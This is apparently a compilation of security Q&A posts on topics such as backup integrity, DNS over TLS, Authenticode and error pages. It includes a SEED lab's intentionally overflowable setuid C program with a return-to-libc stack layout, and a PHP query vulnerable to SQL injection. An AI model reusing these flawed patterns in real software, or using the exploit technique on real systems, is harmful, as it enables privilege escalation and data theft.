Is it safe to click on zip or rar file? Sometimes I'm in dilemma when I want to open archive file if there is any risk by opening it, because I'm not sure if attacker can use any trick that will trigger malware just by clicking on it.

I'm not talking about clicking or opening what's inside archive file, but just opening archive file.

So it there any risk of doing that?

A well known trick will be to disguise a PE or Executable program into an another file, a PDF or an archive for example.

Since most of people rely on the file's icon or extention, it works pretty well on common users.

For instance we (the sec folks) disguised a PE file as a pdf (which was actually a vbs file) named  im_now_a_daddy_guyz!.pdf.vbs and send it via email to all the company employees, explaining in the mail body how our complice is happy and wanted to share the news.

87% of the company's employees opened it, the following popup showed up on their screen What if i told you, i could be a real Malware. It was in the scope of a security awareness program.

So yes be careful when running files.

If you want to learn how to prevent this, and by the same, how to trust a file before running it, please read this page, start at the Is it fake or real? part.

Feel free to read the whole article (the 5 parts) It's well written and accessible to anyone who knows how to type things with a keyboard. This article should teach some basic knowledge about the Malware reverse engineering field.

Have fun.


Is it possible to do Public Private Key Encryption on a chip (hardware)? Does a chip exist which will take input data and output encrypted data in a public private key scheme, where the public key is on the chip and the private key is located remotely?

The ultimate goal would be to design a circuit which stores routine log data in a form which is not readable locally.  It is an express goal that hardware carry out this task.

Any advice?

In general you don't need to protect the Public key on hardware storage. It's called the public key for a good reason.

If you encrypt something with a public key, then it is only possible to decrypt it with the private key (and vice versa).

So, in general it doesn't matter who has the public key. Your public key could be on a billboard and your server could encrypt with the public key as much as you like and nobody will be able to read the encrypted data except whoever has the private key.

All the PKI hardware (smartcards, HSMs, etc) I am aware of is divided into public sectors and private sectors so if you want to store the public key privately then the private key is loaded onto the public partition (i.e. not an ideal solution).

If you want something more like mutual authentication in the log distribution mechanism then it's much better to use two sets of keys (one set for the client and one set for the Server).


Way to practically identify punycode in Chrome? I recently read some articles about phishing with punycode. To prevent it when using firefox, you simply type about:config and turn the parameter network.IDN_show_punycode = true. Now you can easily see if somebody tries to scam you. Well, I am using google chrome and I didn't find a practical way to get rid of the risk being deceived. You can look at the certificate, but I am not willing to do that everytime i click on a link... Any ideas?

Google Chrome doesn't provide any standard options to enforce Punycode yourself. Instead they apply their own IDN policy to all domains to determine how they should be displayed.

However, there are several browser extensions you can use to mitigate the problem. E.g., Punycode Alert warns you if a domain uses Punycode. From the description:

  Punycode Alert is a GPLv3 Google Chrome, Chromium, Opera extension that warns users when the URL they are accessing has some Punycode content to prevent them from being cheated and redirected to a different URL.

(It's also on Github.)


If I delete my router's history can my ISP still provide it to my parents? If I delete my router's history, is it still visible and can my ISP still provide it to my parents?
Or is it deleted from existence?

If I delete my router's history, is it still visible and can my ISP still provide it to my parents? Or is it deleted from existence?

Your ISP's record of your network usage isn't in any way affected by you doing anything to your router. You could wipe its memory, subject it to an EMP, and crush its chips to dust, and it wouldn't have any effect on them. :-) They maintain their own logs, which you cannot delete.

Whether your ISP will provide that information to your parents is another question, I expect it varies by locale/jurisdiction and possibly ISP.

You can make it (nearly) impossible for your ISP to know what sites you're visiting by using Tor or similar. The project includes Tor Browser, based on Firefox ESR, which makes it really easy to browse over Tor. You can also use the Brave browser (no affiliation), based on the Chromium project, in its "Private window with Tor" mode. This is not user-configuring a browser for Tor (which the Tor project advises against, it's too easy to miss out important things), it's a browser from privacy-obsessed people with a Tor-enabled private browsing mode. Both Tor Browser and Brave have trade-offs, see this tweet thread (in particular the replies from Tom Lowenthal, their Security & Privacy PM). Some people say "You should never browse with Tor with anything but Tor Browser" but it's more nuanced than that.


Protect access to an SD card How can I protect access to an SD card, so that only authorized users can read or modify the content of the SD card. Currently everybody who has physical access to the SD card can read or modify everything.

Simplest solution for protecting against unauthorised viewing or modification: encryption. You can use TrueCrypt, PGP, GPG, OpenPGP etc to either encrypt individual files on the card or to set up an encrypted volume for the whole card.

This will mean only those people who have the passphrase will be able to access the data (given the usual assumptions around correct implementation, no sharing of keys etc)

The latter solution also allows you to effectively securely delete the card, by getting rid of the encryption passphrase (or password or certificate etc)


How does LSARPC protocol work? I'm trying to understand how does the LSARPC protocol work internally. In particular, I would like to know how secured is it.

I couldn't find anything in the internet or in different books.

LSARPC is really a set of calls, transmitted with RPC, to a system called the "Local Security Authority". This used in the Microsoft/Windows world to perform management tasks on domain security policies from a remote machine. The protocol is described in MS-LSAD. The transport medium is RPC, a part of the "Server Message Block" protocol (MS-SMB, MS-SMB2).

So, while LSARPC is a protocol used to manage things that impact security, as a network protocol it is "merely" a sub-case of the Microsoft generic SMB protocol, whose security can be described as "questionable" (not irremediably doomed, but apparently hard to implement properly, since they got it wrong many times). On the bright side (or dark side, depending on your angle), LSARPC is no less secure than most of the network activities occurring within a Windows domain, since most of it uses SMB.


Enforce single-domain licenses for a WordPress theme I'm having a WordPress theme which users can purchase. You are allowed to use one single license on a single website and I'm identifying websites by their domains. A single purchase is identified with a secure UUID.

I am trying to get a secure solution for enforcing this constraint -- you can use and receive updates for that theme only from a single, pre-configured domain.

I'm also having some constrains:

can't use obfuscated code in any way, that is security through obscurity is not an option for me
users are able to swap domains for their licenses, which is done on a separated dashboard

The question is, what are options for doing that?

The simplest thing that comes to my mind is to send the secret UUID and the current domain (which I extract from DB -- that's how WordPress works) as a payload to every request I send from theme to the API I have on the side. This looks very fragile to me and not secure at all.

Are there any other options I can consider?

I'm not asking for WordPress specific (and PHP, at all) solutions. I'm just looking for techniques that can help in those situations.

Thanks.

This is already partially answered in comments, but the simplest thing to do is to have a secret UUID string stored with the code and the current domain, and then that be used as a payload to the API side of things.

The tricky part here is the type of system you're using.  When you state a Wordpress theme, Wordpress doesn't exactly give kindly to 'closed source' on themes.  By this, I mean that the theme itself is designed in a way which is not kind towards 'secret' code.  Any user who has access to the code given to them can patch around any security mechanisms embedded in the theme coding.

While this is less of the case with compiled code/binaries (in which case you need to decompile to 'patch' out security controls), it remains the case that anything you give to any user can continue to be 'patched' to circumvent any security controls put into place, with enough effort.  This ultimately means that you have to trust that your users who are given the theme are not going to try and circumvent your controls; those who wish to, however, will be able to do so.

Your simple approach is likely the best approach, but keep in mind that there's ways to 'patch' around such controls, and with enough effort even the most robust 'security controls' for licensing items can be circumvented, with enough time and effort to do so; this ultimately means you just have to trust your users to not be trying to circumvent your security controls.


How should I verify a backup has not been tampered with? I have a NAS with some files that total up to 2TB in size. I suspect I could shrink this because there are possibly duplicate files. I plan on making a second backup by sending what I have to Google Drive. The concern is how I should be verifying my backups. I suppose if a took a few days to verify by hand but is there a better faster way to confirm my whole backup wasn't tampered with?

Should I be using a different method to backup that would allow for verifying backups instead of just running 'rclone' on all of my files?

EDIT:  Adding a bit of info about my system.
My NAS is a Raspberry Pi 3B+ running Arch Linux ARM Aarch64

EDIT 2: My concern is that if my local backup drives failed (maybe someone ruined them on purpose), that I have no way to be 100% sure all of my stuff (photos, music, etc.) are as I remembered.

Cryptographic hash lists
From a theoretical standpoint, verifying the integrity of data that will be put on an untrusted medium (such as a remote backup server or an unattended storage device) requires you keep something on a secure medium which is trusted and cannot be tampered with. That something allows you to verify that the rest of the data has not been tampered with. In other words, you are moving trust from the data itself to some auxiliary data (hashes, a cryptographic signature, etc). This is desirable because that auxiliary data is very small and can be stored locally on most mediums. In the case of a drive backup, you could use a cryptographic hash, such as SHA-256, on each file:
find /path/to/backup -type f -exec sha256sum -- {} + > hashlist.txt

The resulting text file contains a list of files and their SHA-256 hashes. The file itself can either be stored locally on a trusted machine, or cryptographically signed (e.g. with GnuPG or signify) and kept in the backup itself. This will prevent anyone with write access to the backup (but not write access to the hash list) from modifying, adding, or deleting files without being detected.
Digital signatures
If you are storing the backup in a large filesystem image or tarball, you can simply hash that instead, which will give you the additional benefit of preserving directories and metadata:
tar cpf - /path/to/backup | tee backup.tar | sha256sum > backup.tar.sha256

If you want to store the hash list in the backup itself, it's necessary to ensure that the hash list cannot be tampered with without detection. The most common way to do this is to use GPG. Once you have created a signing key, you can sign the file, whether the file is a hash list or an entire tarball. The signature can be stored alongside the backups and you can safely verify the backups using the corresponding public key. Just make sure you keep a local copy of the public key and do not allow the private key to fall into the hands of your adversaries. This technique has the advantage of being compatible with a number of security-oriented smart cards.
Secure backup utilities
There are some tools designed specifically for backups which provide integrity and confidentiality. Duplicity, for example, supports sending client-side encrypted incremental backups to a large number of online data hosts, including Google Drive. It encrypts and signs backups using a public and private keypair, though it also supports using a symmetric key (plain passphrase) instead. Because incremental backups are supported, only the initial backup of a large drive will take substantial time. Subsequent backups will only transmit the files that have changed:
duplicity /path/to/backup gdocs://user[:password]@other.host/some_dir

Restoring from backup verifies the data, and data can be manually verified as well. As with GPG, you need to keep the keypair on a trusted medium (a local drive or a smart card). Read access to the private key allows forging valid signatures, as does write access to the public key.
This is what I use myself.
Things to be aware of
In order to ensure that the hash values are faithful representations of the contents of the files being hashed, it is necessary to use a strong hash function. Avoid using MD5 or SHA-1 as they are both broken (in that it is possible to create two files with differing contents but the same hash). The SHA-256 algorithm is the most popular, but SHA-3-256 and BLAKE2b are also acceptable.
If you are generating a keypair (because you are using GnuPG to sign a hash list or archive, or a backup utility that requires a keypair like Duplicity), you should use a strong algorithm. The industry standard is RSA for encryption and signing, with a keysize of 2048 or larger.
In a comment, you mention that you want to be able to use this to prove that incriminating files were not added with your knowledge. This is not likely to fly in court, because it would be trivial for you to upload a new, incriminating file and not sign it in order to claim that it was not added by you. All this will allow you to do is trust the backup as much as you trust the local hash list (or signing key).


Does Cloudflare's DNS over TLS (DoT) implement DNSSEC too? I will shoot the question straight:
I am confused about if I decided to implement DNS over TLS (DoT), would I lose DNSSEC?

Little bit of details:

I am connected with IPv4 + IPv6 Cloudflare DNS directly in my home OpenWrt router.

I love the idea of safer DNS, even if for home purposes, DNSSEC might be enough I originally thought.

But since every DNS request goes unencrypted, my ISP could eavesdrop on me, I believe.

That is why I'm thinking about implementing DNS over TLS (DoT), nothing more, nothing less.

Nowhere can I find the information about keeping / losing DNSSEC with DNS over TLS (DoT).

Thank you.

Your question illustrates a wrong assumption.
But before going further on that point, DoH/DoT secures the data in transit, while DNSSEC secures the data at rest. Both are orthogonal and I would posit that a good provider, offering multiple transports, should be able to offer DNSSEC on all of them (or none) because it makes no difference on his side (the computations he has to do for DNSSEC validations do not depend if the original client asked the question over plain UDP/TCP, or over HTTPS or over TLS).
Now back to what I think is a false assumption.
You are comparing:

using provider X to do DNS resolution on your behalf using "plain DNS"
using same provider but with DNS over TLS.

And you want the properties of DNSSEC. I am using "provider X" because the below is the same for any kind of provider.
The differences between the two cases is that with DNS over TLS, you have the guarantee (if everything configured properly both on your end and your provider's  end) that what you receive was not tampered with (nor listened to in fact) by any actor on the network path between you and the provider. It does not add any guarantee at all on what happens at the provider or what happens when the provider itself queries other nameservers to do the full resolution on your behalf.
Which means, about DNSSEC, that in this setup you fully accept what the provider will tell you. If it flips the flag saying "authenticated" you will believe that it did do the DNSSEC checks as needed and guarantees you everything clicks.
But isn't that a big assumption? Do you trust your provider for that, in all cases? Does it uses any filtering or any "Negative Trust Anchors" (which are used to bypass DNSSEC configuration errors, but could as well be used to bypass proper DNSSEC resolution, so if they are not solidly documented, and even better until noone does the equivalent of Certificate Transparency Logs for DNSSEC, you have really no guarantee what happens).
Etc.
Said differently: if you are really serious on your DNS setup you might want to bring another option to the table and study it (not saying it is a solution for all cases, just saying: please remember this option and judge it relatively to others). Which is: do the DNSSEC checks on YOUR side, not on provider side.
Any decent nameserver software can do it. Of course, this can still be thwarted by a rogue provider, if it starts to strip off root DNSKEY and things like that. But until that it may be a better security for you than relying on any provider do DNSSEC on your behalf.
PS: you are asking for links but note that this Q&A site does not want to be just a list of links, you have search engines for that; the aim is to collect knowledge here, not under some links that can go stale at any point. Also, since you cater for only one specific provider in your question, did you do the first step of contacting it with your question?


Is the HMAC weakened if a part of the message is part the key? For example: I am using HMAC SHA 256 to sign an XML file. Part of the file data is a version number. If I append the version to my secret to use it as a key, does that weaken the HMAC? As the version is also part of the signed message is it weakend or still safe?

No, its not weakened. The HMAC ensures that even if some of the key is known, the remainder remains unchanged. Otherwise there would be zeroes instead of the version number. However, the HMAC isn't made "stronger" either.


Do iframes maintain the security of the nested website? I am planning to add iframes to my webpage to sites such as www.dropbox.com and was wondering if the security of the site would be impaired if i did this. As in, could peoples account be hacked if they used my site to access it?

If a site can be loaded into an iframe, then it is vulnerable to clickjacking attacks.

You cannot however use javascript in your site to alter the content and perform actions into the iframe (this applies to different domains), because of the same origin policy mechanism. This applies both ways, a script loaded into the iframe cannot run in the context of the parent frame.

However, there may be drawbacks for loading another site into an iframe. For example, your site is attacked and a persistent XSS is found. The attacker could then replace the dropbox iframe with a fake one he controls and gather user credentials/ data. Because the user cannot easily check the url of the loaded iframe, phising can be more easily done in an iframe.

The other version is also possible . The site you embed in the iframe is hacked and instead of it's normal content it displays a webpage that resembles a login in your page. Using this method, credentials from your site can be collected.

Furthermore, the embedded site can check if it is loaded in an iframe and jump out of it (change window.location) and perform further attacks from there.

As a conclusion, the overall security depends both on the security of your site
and of the one you embed.


Prevent ourselves from seeing messages Background

We are an API provider. We are unifying 3rd party messengers where we can't control the client app.

What we need

Even though we need to provide the 3rd party messengers with the unencrypted message we would like to prevent ourselves from reading the content of messages sent via our API in both directions as much as possible.

The process of sending/receiving messages with 3rd parties

Sending a message to client have this process:

Client sends a message {content: "Hello!"} to us.
We will process the message.
We send it to a 3rd party.

Partial solution

I am not able to find a satisfiable solution but maybe I'm missing just a last piece. Messages in the logs and database will be encrypted. This a scenario I came up with:

Client sends an encrypted message {content: "f8239jflads8"}
We will process the message.
Just before sending to a 3rd party, we will SOMEHOW GET THE KEY and decrypt the message.
We will send the message {content: "Hello!"} to a 3rd party.

Questions

Is there another solution?
Is it possible to secure the decryption key so that users are safe OR at least safer? E.g. by limiting who can see the decryption keys so that nobody from our company can decrypt the messages from logs or database?

One way to do this is to have the client app (which must already have the message in plaintext) send the message to the third party chat system directly instead of through your system. Depending on how you authenticate with the third party, this may mean that you'll have to disclose your API key to the client or provision a unique API key for each client users and somehow restrict their permissions.

Alternatively, if you authenticate with the third party app using an algorithm like HMAC, you may be able to split the HMAC calculation into two. The client app should calculate a hash of the plain text message, send the hash to your server, which should then calculate the authenticated hash from the given hash and your API signing key. The client then can make a connection to the third party server (possibly proxied through your server if there are IP address restrictions) and send the authenticated hash and the plaintext message using your credential without disclosing the content of the message to your server. This is a form of blind signing. However, you need to be careful with this as blind signing means that you also have no control over what you're signing and it may be possible for a malicious client to construct message that allows them to do things they shouldn't if your API signing key have greater privilege than what the client is supposed to have.


AuthentiCode Launcher runs everything Imagine a vendor uses AuthentiCode only to get rid of the yellow UAC warnings. To avoid buying new certificates each year, the vendor could create a Launcher EXE which is signed, requests UAC privileges, and launches the project's EXE file.

Beside the fact that the vendor's program can be cracked without anyone noticing it, I am wondering about following 2 issues:

If someone writes a malicious program, they could use the vendor's launcher to make the victim feel good when they see a blue UAC dialog.
Technically, the vendor didn't sign a malicious code (*), so the vendor isn't "responsible" for the malicious activities, and the CA would probably not revoke the certificate of the vendor.

So, what are the consequences of this Launcher (i.e. is the vendor responsible, and would the CAs revoke his certificate?), and is it true that AuthentiCode can be so easily tricked by using launchers and/or unchecked DLL imports?

(*) the launcher is a rather extreme case; however, nearly every signed executable that runs code from a DLL could be used to execute malicious code (in unsigned/unchecked DLLs). Afaik, the static linking of DLL files do not contain any AuthentiCode check, so that these executables are as evil as the Launcher EXE.

Windows indeed does not show any security warnings when an elevated process (i.e. one that passed the UAC dialog) launches another process or loads a DLL.  This is not a problem with Authenticode, because Authenticode just applies a signature.  This could be considered a problem with the trust model in Windows.

Basically, when the user clicks Yes on the UAC dialog, they're saying that they fully trust the executable they're about to run and want to give it full access to their PC.  This includes the ability to load any DLL or launch any EXE.  If the user thinks the vendor's launcher may launch malicious executables or may be vulnerable to DLL injection attacks, then they should click No on the UAC dialog.  The vendor may not have signed malicious code, but they have certainly signed vulnerable code, and they are certainly responsible for that.

If you are the vendor contemplating writing such a launcher, you can make your launcher verify the signature on the executable before launching it.  Refusing to launch an executable without a proper signature would offer stronger protection than your suggestion for Windows to show another UAC prompt which the user may mindlessly click Yes to.

Ultimately, a digital signature like applied by Authenticode can only be used to verify the origin of the code.  It cannot be used to verify whether the code will do anything malicious.


Proving that a MongoDB is misconfigured and publicly accessible If Mongo databases appear on www.Shodan.io, is it definitive proof that they are publicly accessible?

Is there a way to prove without doubt there is a risk without actually connecting to the server? (This shodan blog https://blog.shodan.io/its-still-the-data-stupid/ has useful info but I don't really know MongoDB).

If it is publicly facing and unauthenticated it is as easy as using a MongoDB administrative client, plugging in the server details, and connecting. Depending on the client's response would prove it is definitive.

This is exactly what Shodan is doing. They spider the internet making connections with everything. And try to dump whatever information they can get into their database. During this process they have it attempt a connection to the server as a MongoDB client and if their client responds successful they collect data such as DBs, size, server info dump, etc.


OpenBSD, fbtab and X Window The afterboot(8) man page of OpenBSD advises "You might wish to tighten up security more by editing /etc/fbtab as when installing X. "

I would like to know what entries in /etc/fbtab would
make sense for a machine that's used as a desktop for a single user who
logs on locally and starts the X server with startx?

Also, please share your /etc/fbtab suggestions in general.  I am
trying to get my head around how this file in /etc works in practice.
I have read the manpage, but I'm unsure how to employ it for the sake of greater security.

If there is just a single user on a machine then permission controls don't really come into play and the /etc/fstab produced at install is sufficent.  If the machine is compromised, its very likely that the hacker will be running as you, and then file permissions are a moot point.

Unix file permissions are designed for managing multi-user systems,  and you don't have multi-user system.


Is it a vulnerability to display exception messages in an error page? Our web application has an error page that displays the absolute URL path and query of the page on which the error occurred, the date/time of the error, and the exception message. (We do not display the stack trace. That is an obvious vulnerability.)

Is it a vulnerability to display exception messages in an error page?

For maximum security, what should we display in an error page? What should we not display?

EDIT: My hunch is that it is a vulnerability, but I want to hear an expert opinion.

In some cases, error messages induce vulnerabilities. In the area of cryptography, the padding oracle attack can recover a secret key by sending altered encrypted messages, and using an "oracle" which distinguishes between two kinds of failure ("padding was wrong" vs "there was a valid padding, but the resulting data was gibberish"). Detailed error messages have a strong potential for being such an oracle. In a more general, conceptual view, attackers will try to uncover weaknesses by prodding at the system and observing what happens, and more data can only help them. The exception message is not qualitatively distinct from the stack trace, in that respect; so if the stack trace is an "obvious" vulnerability, so must be the exception message too.


Can any goverment permanently ban all the VPN servers around the world I think the question is clear on the title. Is it technically possible?

Yes: they can create a whitelist of all allowed sites and order all their ISPs to block everything not on the list.

However, apart from North Korea, which seems to have only a single internet provider and only 28 domestic sites (! really?), no country is probably insane enough to do this. The whitelist would need constant updating and soon become unmanagably huge if the country didn't want to suffer the commercial impact of its internet censorship.

If they did it using a blacklist of known VPNs, they'd always miss some of them. Tor for example has a  number of bridges not on any list, and that number changes as people add bridges or decomission old ones, so using a blacklist wouldn't work.

China is a good example of the blacklist approach; they block many sites for their own people, but they can't get 100% success rate; tech-savvy people know how to circumvent the great chinese firewall. Even so, limiting access for the other 98% of the population (I made that number up, I have no clue what the actual percentage is) may be enough to keep unwanted information out of the public consciousness.


Should we fear spammbots that write constructive and helpful posts? When I found this comic:

I just asked my self, what flaws might this have?
The system is sticking up with comments that require more comments on, but it would only be a problem if it where decreasing instead of increase.

And except of it beeing a bit more of an effort then typing a captcha and the confirmance might be delayed, but especially the latter is also solvable by a few solutions that instantly pop into my mind.

And even when at some point even bots get this done, than just as he is expressing aswell: That is just a good thing.

So what would prevent a captcha like mechanism like the one from the comic?

Note: This is not to be directly compared to CAPTCHAS, but under the assumption, that captchas lost its effectiveness due to more suitable AI.

Remember the actual objective of spam bots. Their purpose is to advertise a website, either directly or indirectly through search engine spamming.

A constructive contribution to a website which also includes an advertisement for some product might get annoying. But annoying posts would get downvoted by other users and thus fail the test, so the bots need to be sublime about this. In my opinion sublime advertisement which looks like constructive contribution but is actually just clickbait is even more dangerous because the reader doesn't realize someone is trying to sell them something.

Black-hat SEO in form of link spam (place your link everywhere on the web until Google thinks you are more relevant than you actually are) hurts the usability of search engines and thus hurts us all, so it should be the responsibility of all internet users to prevent it wherever we see it.


Can I sign a single character message with the RSA private key? If I sign a very short message (0 or 1) with my private key (and the receiving side verifies the signature using public key), is this less secure than to send the sufficiently long signed message?

The problem is not one of forging the signature, but of the meaning of the message.

What is signed is not the message, but a hash of the message. The hash is always the same length.

A message consisting of a single bit or byte can be hashed, so it can be signed, so it can be proved that your key signed it.

But even if it can be proved, what does the message mean? If it is the answer to a "yes/no" question, you need to still include some reference to which question is being replied to, to prevent replay attacks.

Alice: Is your name h22?
Bob: Signed(Yes) (Eve overhears)
Alice: Are you guilty of subversive activity?
Eve: Signed(Yes) (Alice thinks this is from Bob)

Therefore each answer needs to include some sort of reference to the question, so the answer cannot be reused. You can do this by giving each question a "number used only once" (nonce) which you include in the reply.

Alice: Q1: Is your name h22?
Bob: Signed(Q1:Yes) (Eve overhears)
Alice: Q2: Are you guilty of subversive activity?
Eve: Signed(Q1:Yes) (Alice is not fooled - this is the wrong question number, so it is a replay attack)
Bob: Signed(Q2:No) (Alice knows this is really Bob now)

Of course really Alice needs to sign her questions too. Otherwise Mallory could trick Bob into answering different questions.

Alice: Q1: Is your name h22?
Bob: Signed(Q1:Yes)
Alice: Q2: Are you guilty of subversive activity? (Intercepted by Mallory)
Mallory: Q2: Are you known as h?
Bob: Signed(Q2:Yes) (Answering Mallory's question, but Alice thinks this is a reply to her).

So it's important that the whole conversation is protected. In reality this generally means including the time and date as part of the message which is signed, as well as signing messages in both directions, and protecting against replay using a nonce.


What will happen to my Windows PC if I visit a site from a network marked as malicious by google safebrowsing Google rated a whole network in china as malicious: http://www.google.com/safebrowsing/diagnostic?site=AS:4134

Quite a few of our customers have their websites hosted in that network (e.g. http://www.hbgdfy.com/). I told my colleagues not to ignore the google safebrowsing and actually avoid those websites for now.

They are doing so, but asked me what could actually happen if they still did go on those websites. I tried to find out why the network got flagged or what could happen, but I couldn't find much.

Do you know any details what would happen to our windows PC's if we actually visited those websites or is it not possible to predict?
Thanks for any info!

If the entire network block is marked as malicious by Google, a lot of innocent sites will end up marked as malicious, as you have seen.

If you are sure that the site you want to visit is not malicious, you can navigate to them and nothing bad will happen. That message is just a warning. Your web filtering software (if installed and updated) can protect you.


Receiving sensitive data uploaded on a Web server, and remotely accessing it without exposing it to theft Edit: I mostly used my university's guidelines on how to meet DPA standards and their own. I extrapolated a bit because encryption on a VM hosted by my uni that is already probably encrypted makes little sense wrt. adversaries.
The data we manipulate is very sensitive and the website will stay around for a while and be reused across projects, so I believe I must include attacks to the Web server and encrypt PII against it.
I realise this has nothing to do with the DPA but just my interpretation of "keep personal data secure, in proportion to their sensitivity".
The problem
I need to set up a Web server on which research participants upload tarballs (the size and contents of which depend on projects) containing Personally Identifiable Information and sensitive data. I must comply with the DPA and other guidelines which recommend encryption but do not clarify encryption against which threats. I hence assume that I must protect my participant' data against a breach into the server.
This is what I roughly planned on doing:

The data is encrypted by my Web server upon arrival using a newly-made symmetric key.
The symmetric key is encrypted by the server using the public key of the researcher who will process the data, and that symmetric key is stored with the data.
We researchers connect to the server, set up a decrypted image of the encrypted files.
We work on that image, potentially adding or modifying files (i.e., creating summaries of data, transcripts, metrics, and so on, which can also contain some PII until we sat down and anonymized them properly).
Whenever we leave the server, no data must be left unencrypted.

I originally asked if I can automatically create encrypted volumes and then reopen them from elsewhere, which has been pointed out to be a singularly bad idea by smrt28. What I planned to do:

The server creates an encrypted volume per user, puts the raw data from the user in the root folder of that volume, and shuts the volume properly when done.
I SSHFS to the folder containing all those volume files.
I use a local script to open unencrypted mount points for all those volumes.
I happily modify the users' data and create new files.
I shut down the mount points and all is fine, the new data has been added to the servers already encrypted.

The original question: how can I make dm-crypt use asymmetric keys so that the server can only create a new encrypted volume and I can encrypt/decrypt? Is that even possible with volumes? If lvm can't do that, any alternatives?
The solution I'll adopt
I will just get this Web server to write the data to a write-only mount of another server's partition. The other server will be hosted by my university and accessible only from our authenticated university VPN. That partition will be encrypted and backed up by the university as they see fit.
We researchers will just connect to the VPN, mount the partition and do our things, which is essentially the same as in the original setup.

I'm not sure if I can understand your question correctly.

Mounting a directory with dm-crypted volume files by SSHFS and mounting those files to your local... Hmm... It sounds crazy to me and you are asking for a data corruption. Imagine what happen to the volume if you try to edit from 2 different network locations? Imagine what happened if your network breaks in the middle of "editing"?

You haven't written how many users you expect. You din't even mentioned, how large those tarballs are. If the files were small then I would suggest to keep them gpg-ed, and if you want to edit them, just download them, edit, upload.

I'm also not not sure, why you need to keep those data on the server. As you mentioned, all the data are encrypted and you are the only person who has the key. It seems to me the server is just an upload server and the only service it servers is the upload service. So, gpg every incoming tarball and sync it with your local where you can keep it on a single encrypted volume and edit them freely? Why you need the data on the server?


Root privilege using Return-to-libc attack I've been working on Return-to-libc Attack Lab from SEED (Lab Description and Tasks). The environment is Ubuntu 12.04 32 bit. Please consider the following code:

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);

    return 1;
}
int main(int argc, char **argv)
{
    FILE *badfile;

    badfile = fopen("badfile", "r");
    bof(badfile);

    printf("Returned Properly\n");

    fclose(badfile);
    return 1;
}

I found the desired addresses, designed badfile so that it changes the content of the stack as in the sketch below and checked it with the debugger (source):

[-] Buffer overflow doing return-to-libc and executing system function
                                                  1             2        3
|---------------------------|------------|--------------|------------|
|           buffer          |   system   |   fake_ret   |  /bin/sh   |
|---------------------------|------------|--------------|------------|
               args              EBP           EIP

I was able to open the shell but for some reason I did not get the privilege of the root:

[02/14/2018 16:22] seed@ubuntu:~/Documents$ gdb -q retlib
Reading symbols from /home/seed/Documents/retlib...done.
(gdb) r
Starting program: /home/seed/Documents/retlib
$ whoami
seed
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),130(wireshark)
$

I checked the vulnerable program and it was properly compiled (according to the lab's instructions), the program is Set-UID:

[02/14/2018 16:35] seed@ubuntu:~/Documents$ ls -l retlib
-rwsr-xr-x 1 root root 9712 Feb 11 06:41 retlib

Can someone please explain why I did not get the privilege of the root after I opened the shell?

Thank you very much in advance.

After a long time of searching, I found out that environment variables have a different address when running the program under GDB.
So, the solution to my problem was simply to write a short program in C that prints the address of the environment variable I was looking for. Then, the solution was obvious to me.


What are the security risks of importing and processing an excel spreadsheet from an untrusted user I'm working on a web application and we have an administrative feature that allows admins to import an excel spreadsheet containing information about sub-users they would like to add. We parse the spreadsheet and do basic input validation on most fields. We also ensure that the file has the correct extension before starting doing any deeper examination of the file.

I'm just curious if there are any other risks I'm overlooking when dealing with imported user data. Specifically importing Excel Spreadsheets.

While Austin is correct, it is also a risk that the file itself contains an exploit. Office applications are utterly massive and have a truly humungous attack surface area. If you have time on your hands, open up an instrumented fuzzer like American Fuzzy Lop (AFL) and run it on your Excel processor. You will find a stunning amount of very scary-looking crashes.

You have to assess your risk here. If you are defending against someone who only has the skills to write a malicious macro, you probably don't have much to worry about. If you are defending against someone who knows a thing or two about software exploitation and you are their target, you opening their spreadsheets will be a dream come true.


Is my code safe enough to be publish on the server side? I'm new here to ask a question. Sorry if my question had miss explanation. I just wanna ask if my PHP code is secure enough. Please find below is the source code:

  Get the ID for choosing the Value

/*Create a new Query for get all the ID from each of Venue Type on the Administration Database*/
$Q_VenueType = "SELECT Biz_ID FROM Biz";

$R_VenueType = $connection->query($Q_VenueType);

if ($R_VenueType->num_rows > 0) {
    //Success Condition
    $rows = array();
    while ($row = $R_VenueType->fetch_assoc()) {
        $rows[] = $row;
    }

    echo json_encode($rows);

    $R_VenueType->close();

}else{
    //Failed Condition
    echo('0');
}

mysqli_close($connection);

  Get Value with the ID as an Input

//Create Variable to get the Venue Type Value by their ID.
$VenueType_ID = htmlspecialchars($_POST['TypeID'], ENT_QUOTES);

/*Create a new Query for get all the ID from each of Venue Type on the Administration Database*/
$Q_VenueTypeValue = "SELECT Biz_Name FROM Biz WHERE Biz_ID = '".$VenueType_ID."'";

$R_VenueTypeValue = $connection->query($Q_VenueTypeValue);

if ($R_VenueTypeValue->num_rows > 0) {
    //Success Condition
    $rows = array();
    while ($row = $R_VenueTypeValue->fetch_assoc()) {
        $rows[] = $row;
    }
    echo json_encode($rows);

}else{
    //Failed Condition
    echo('0');
}

mysqli_close($connection);

  Question:

  1.) Is my input for handling the user input already in the safe condition on this age? ($VenueType_ID = htmlspecialchars($_POST['TypeID'], ENT_QUOTES);)

  2.) Is my query for processing into my database already in the safe condition on this age? ($Q_VenueTypeValue = "SELECT Biz_Name FROM Biz WHERE Biz_ID = '".$VenueType_ID."'"; and $Q_VenueType = "SELECT Biz_ID FROM Biz";)

  3.) Is my fetching data code already in the safe condition on this age? (

if ($R_VenueTypeValue->num_rows > 0) {
        //Success Condition
        $rows = array();
        while ($row = $R_VenueTypeValue->fetch_assoc()) {
            $rows[] = $row;
        }
        echo json_encode($rows);

    }else{
        //Failed Condition
        echo('0');
    }

    mysqli_close($connection);

  )

  If there is not safe code or condition with all the codes kindly tell me how is it to be safe? What I need to add or change?

Pardon for my English guys :). Please ask for further information, Thank you for the answer before.

I just wanna ask if my PHP code is secure enough

This question cannot be answered. A security assessment is very complex and bases on a thorough risk assessment.

Secure for what? What kind of attacks are you foreseeing?

DOS? I don't see any protection from what you've shown here (might be implemented somewhere else)
SQL injection? You're using htmlspecialchars(), not htmlentities(), UTF-7 XSS attacks will be possible. In addition I suggest using PDO prepared statements instead of mysqli


OpenVPN config - Authentication username password I use a VPN provider (tigerVPN) and they use OpenVPN with data channel cipher AES-256-CBC. For authentication, they use username/password and server cert.

I'm assuming that config doesn't support perfect forward secrecy?
